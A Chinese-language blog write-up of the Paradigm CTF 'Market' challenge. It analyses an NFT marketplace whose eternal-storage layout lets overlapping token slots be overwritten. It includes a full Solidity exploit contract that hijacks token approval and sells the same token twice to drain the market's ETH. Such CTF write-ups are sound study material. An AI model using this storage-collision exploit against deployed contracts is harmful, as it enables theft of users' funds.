Paradigm CTF-Market

  • bixia1994
  • 更新于 2021-07-29 21:24
  • 阅读 321

合约中储存与计算分离的思路有什么风险呢?

See the source image

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993

终于看到了熟悉的汇编代码部分:happy:, 前一段时间一直在研究uniswap, compound之类的大型合约,业务逻辑都快给我绕晕了。今天看到Paradigm 的Market这道题,惊奇的发现它不需要与Uniswap或者Compound交互,顿时感动不已。:cry::cry::cry::cry:

题目分析

首先看下setup合约, 要解决该合约的要求是:让Market合约所有的ETH都消失。当部署好market合约后,market中的ETH数量为:

5+10+15+20=50 ether, 并且他调用了mintCollectibleFor函数

constructor() payable {
    require(msg.value == 50 ether);

    // deploy our contracts
    eternalStorage = EternalStorageAPI(address(new EternalStorage(address(this))));
    token = new CryptoCollectibles();

    eternalStorage.transferOwnership(address(token));
    token.setEternalStorage(eternalStorage);

    market = new CryptoCollectiblesMarket(token, 1 ether, 1000);
    token.setMinter(address(market), true);

    // mint 4 founders tokens
    uint tokenCost = 5 ether;
    for (uint i = 0; i < 4; i++) {
        market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i)))));
        tokenCost += 5 ether;
    }
}

function isSolved() external view returns (bool) {
    return address(market).balance == 0;
}

Market合约

下面我们简单看下CryptoCollectiblesMarket合约,分析下他的各个函数在干什么

函数名称 资金出入 要求 状态变化
buyCollectible(bytes32 tokenId)​ ETH in,NFT out tokenPrices[tokenId] > 0tokenOwner == address(this)msg.value == tokenPrices[tokenId]
sellCollectible(bytes32 tokenId) NFT in, ETH out tokenPrices[tokenId] > 0msg.sender == tokenOwnerapproved == address(this)
mintCollectible()
mintCollectibleFor(address who) ETH in, NFT out mintPrice >= minMintPrice tokenPrices[tokenId] = mintPrice;feeCollected += sentValue - mintPrice;
withdrawFee() ETH out msg.sender == owner feeCollected = 0;

从上面可以看到,一个正常的调用逻辑如下:

mintCollectibleFor(someone) //给某人铸币,得到该币的tokenId,该币发送给某人
buyCollectible(tokenId)//通过ETH购买该币
sellCollectible(tokenId)//卖出该币得到ETH

并且发现我们买币或者卖币,在market合约中并没有状态变化,所以我们需要进一步调查,记录状态的部分在哪里。

CryptoCollectibles合约

我们可以看到CryptoCollectibles合约并不是一个ERC20合约,其并没有一个类似于map(address=>uint) balancemap(address=> map(address=>uint)) allowance的用于记录状态的全局变量,其合约内部只进行逻辑处理,状态记录都通过EternalStorage合约记录。实现了储存与计算的分离,便于后一步升级。:laughing:

例如典型的transfer函数:他在验证完tokenId的所属后,就在eternalStorage合约里更新状态。所有的状态都储存在eternalStorage合约中。

function transfer(bytes32 tokenId, address to) external {
    require(msg.sender == eternalStorage.getOwner(tokenId), "transfer/not-owner");

    eternalStorage.updateOwner(tokenId, to);
    eternalStorage.updateApproval(tokenId, address(0x00));
}

EternalStorage合约

从上面的分析,我们可以看到CryptoCollectibles合约只进行了验证和逻辑判断,具体的状态存储都在EternalStorage合约中。故我们首先需要分析下EternalStorage合约中储存的数据结构。

struct TokenInfo {
    bytes32 displayName; //0 => bytes32 占据一个slot
    address owner;      //1 => address  占据一个slot
    address approved;   //2
    address metadata;   //3
}
mapping(bytes32 => TokenInfo) tokens;

可以看到它储存的数据结构是一个map,键是bytes32 tokenId, 值是一个结构体。则对于tokens[0].owner在全局变量中的位置是:

keccak256(abi.encode(0,0))+1 => tokens[0].owner
keccak256(abi.encode(1,0))+2 => tokens[1].approved

因为对于map或者动态数组类型,其大小并不可以预知,故其在EVM中的储存逻辑是通过keccak256哈希计算来找到值的位置,或者是数组的起始位置。对于map,其哈希计算方式是keccak256(abi.encode(key, slot)) slot是该map在EVM中的槽位。对于动态数组,其哈希计算方式是keccak256(slot), 对应该键位点的值是该动态数组的大小(size),动态数组的值将会依次在该键位后自增0x20排列。即keccak256(slot) => arr.length; keccak256(slot)+1 => arr[0]; keccak256(slot)+2 => arr[1];

对于结构体,其结构体内部所有的变量都会紧密打包,即abi.encodePacked. 即bytes16 和 bytes16的两个元素会被打包到同一个slot中,然后按照slot的顺序依次排列结构体的元素。

下面我们分析下EternalStorage合约的具体实现

方法 要求 状态
mint(bytes32,bytes32,address) msg.sender==owner sstore(tokenId, name)sstore(tokenId+1,tokenOwner)
updateName(bytes32,bytes32) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId, name)
updateOwner(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner ssotre(tokenId+1, newOwner)
updateApproval(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId+2, newApproval)
updateMetadata(bytes32,address) msg.sender==ownerormsg.sender==tokenOwner sstore(tokenId+3, newMetaData)
getName(bytes32) sload(tokenId)
getOwner(bytes32) sload(tokenId+1)
getApproval(bytes32) sload(tokenId+2)
getMetadata(bytes32) sload(tokenId+3)
transferOwnership(address) msg.sender==owner sstore(0x01, newOwner)
acceptOwnership() msg.sender==ssload(0x01) sstore(0x00, pendingOwner)sstore(0x01,0x00)

从上表中,我们可以看到凡是get系列的函数都不需要msg.sender==owner或者msg.sender==tokenOwner要求,但是都没有向EVM中写数据的操作。我们需要向EVM写数据,就需要满足msg.sender==owner 或者 msg.sender==tokenOwner的要求。

针对msg.sender==tokenOwner的要求,即要求ssload(tokenId+1)==msg.sender, 如果我们能够操纵tokenId的数值,让两个tokenId的结构体存在部分重叠,即让tokenId_1的slot_1刚好位于tokenId_0的slot_3位置处,即:

tokenId_0.name     
tokenId_0.owner    
tokenId_0.approval      -  tokenId_1.name
tokenId_0.metadata      -  tokenId_1.owner
                        -  tokenId_1.approval
                        -  tokenId_1.metadata

这样我们就可以通过tokenId_2.metadata来设置tokenId_1.owner

问题的关键就在于如何操纵tokenId的值。

function mint(address tokenOwner) external returns (bytes32) {
    require(minters[msg.sender], "mint/not-minter");

    bytes32 tokenId = keccak256(abi.encodePacked(address(this), tokenIdSalt++));
    eternalStorage.mint(tokenId, "My First Collectible", tokenOwner);
    return tokenId;
}

从上图看,tokenId的计算是一个哈希值,直接通过mint方式得到的两个tokenId肯定是不会出现我们想要的重叠的。

解题思路

故我们的逻辑是Mint一个token,sell给market,通过某种方式重新获得该token的所有权,再次sell给market。

这里的一个最大的漏洞,就在于sell一个token的时候,直接给出tokenId,然后用该tokenId作为从存储中取值的key获取整个tokenInfo. 因此我们可以虚构一个tokenId_1, 满足上面的关系。

tokenId_0.name     
tokenId_0.owner    
tokenId_0.approval      -  tokenId_1.name
tokenId_0.metadata      -  tokenId_1.owner
                        -  tokenId_1.approval           
                        -  tokenId_1.metadata

故,整个调用逻辑是:

mintCollectibleFor(msg.sender) //给自己铸币,得到该币的tokenId
EternalStorageAPI.updateMetadata(tokenId_0,msg.sender) //修改token_0.metadata, 让它等于msg.sender
token.approve(token_0, address(market));
sellCollectible(tokenId_0)//卖出该token_0, tokenId为token_0
tokenId_1 = tokenId_0 + 2//计算token_1的tokenId为token_0+2
EternalStorageAPI.updateMetadata(tokenId_1,msg.sender) //修改token_1.metadata, 让它等于msg.sender
sellCollectible(tokenId_1)//卖出token_1
tokenId_2 = tokenId_1 + 2//计算token_2的tokenId为token_1+2

上面的思路有一个重大的问题是:sellCollectible(tokenId_1)函数中要求了require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");也就是说,必须要是token_0才可以sell,自己构造的token_1无法被sell。

故思路需要转换为:通过某种方式,重新将token_0再次sell一遍。

此时,token_0在经历如下操作后的状态变化为:

bytes32 token_0 = mintCollectibleFor(msg.sender) //铸币-token_0sell 前
cryptoCollectibles.approve(token_0, address(market))//approve
eternalStorage.updateMetadata(token_0,address(hacker))//updatemetadata
market.sellCollectible(token_0)//sell
bytes32 token_1 = bytes32(int256(token_0)+2) //token_1
eternalStorage.updateName(token_1, address(hacker)) //updateName
cryptoCollectibles.transferFrom(token_0, address(market), address(hacker))//transferFrom
market.sellCollectible(token_0)//sell again
字段 token_0sell前 token_0approval Update metadata Token_0 sell后 Token_1.name transferfrom
name My First Collectible My First Collectible My First Collectible My First Collectible My First Collectible My First Collectible
owner hacker hacker hacker market market hacker
approval 0 market market 0 hacker hacker
metadata 0 0 hacker hacker hacker hacker

EIP-20标准

ERC-20 token标准大家很熟悉,但是需要进一步去理解EIP-20中的两种转移token的方式:

transfer:

_value数量的代币转移到地址_to,并且必须触发Transfer事件。如果信息调用者的账户余额没有足够的代币来花费,该函数应该回退

注意 0值的转移必须被视为正常的转移,并引发`转移'事件。.

function transfer(address _to, uint256 _value) public returns (bool success)

transferFrom:

从地址_from向地址_to转移value数量的代币,并且必须触发Transfer事件。

transferFrom方法用于取款工作流,允许合约代表你转移代币。例如,这可用于允许合约代表你转移代币和/或以子货币收取费用。除非_from账户故意通过某种机制授权给消息的发送者,否则该函数应该回退。

注意 0值的转移必须被视为正常的转移,并触发 "转移 "事件。

也就是说,transferFrom函数让合约替代你成为转移token的操作员,合约将你名下的token转移给_to地址。在转移前,需要满足如下条件:即token的持有者通过某种方式授权了调用此函数的msg.sender, 可以是人,也可以是合约。

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)

approve- 授权

允许_spender从你的账户中多次取款,最多到_value的数额。如果这个函数被再次调用,它将用_value覆盖当前的允许值。

即用户向某个人或者某个合约授权,允许它不限定次数的从我的账户中转账,但累计总额最高为_value,并且不限定该msg.sender向谁转账。即规定了一个第三方人或者合约,最多从我的账户中能够转账出去的token数量,但并不限定它向谁转账。

注意。为了防止像这里描述的这里讨论的那样的攻击载体,客户应该确保在创建用户界面时,先将津贴设置为0,然后再为同一花费者设置其他值。虽然合同本身不应该强制执行,以允许向后兼容之前部署的合同。

function approve(address _spender, uint256 _value) public returns (bool success)

sellprice

这里还有一个问题是,目标是让market合约中的所有ETH都没有,故我们需要仔细构造一下sellprice. 我们结合代码看下sellprice 是如何计算的

function mintCollectibleFor(address who) public payable returns (bytes32) {
    uint sentValue = msg.value;
    uint mintPrice = sentValue * 10000 / (10000 + mintFeeBps);

    require(mintPrice >= minMintPrice, "mintCollectible/bad-value");

    bytes32 tokenId = cryptoCollectibles.mint(who);
    tokenPrices[tokenId] = mintPrice;
    feeCollected += sentValue - mintPrice;
    return tokenId;
}
mintFeeBps = 1000
minPrice = 1 ether

可以用一种比较取巧的方法来实现sellPrice,即比较sellPrice和balanceOf(address(market))的差值,然后转该差值量的ETH给market即可

解决方案:

pragma solidity 0.7.0;
import "./Setup.sol";

contract Hack{
    Setup public setup;
    EternalStorageAPI public eternalStorage;
    CryptoCollectibles public token;
    CryptoCollectiblesMarket public market;
    constructor(address _setup) payable {
        setup = Setup(_setup);
        eternalStorage = setup.eternalStorage();
        token = setup.token();
        market = setup.market();
        require(msg.value == 90 ether);
        bytes32 token_0 = market.mintCollectibleFor{value: 70 ether}(address(this));
        //修改token_0.metadata, 让它等于address(this)
        eternalStorage.updateMetadata(token_0,address(this));
        //approve token
        token.approve(token_0, address(market));
        market.sellCollectible(token_0);//卖出该token_0, tokenId为token_0
        //get token_1
        bytes32 token_1 = bytes32(uint256(token_0)+2);
        eternalStorage.updateName(token_1, bytes32(uint256(address(this)))); //updateName->approval
        token.transferFrom(token_0, address(market), address(this)); // transferFrom
        token.approve(token_0, address(market));
        //fix price
        uint tokenPrice = msg.value * 10000 / (10000 + 1000);
        uint missingBalance = tokenPrice - address(market).balance;
        market.mintCollectible{value:missingBalance}();//补偿缺少的ETH
        market.sellCollectible(token_0);//sellAgain
        require(setup.isSolved(),'setup/not solved');
    }

}
点赞 3
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
目前在运营一个微信公众号:bug合约写手,欢迎关注. 对我感兴趣可以加我微信:woodward1993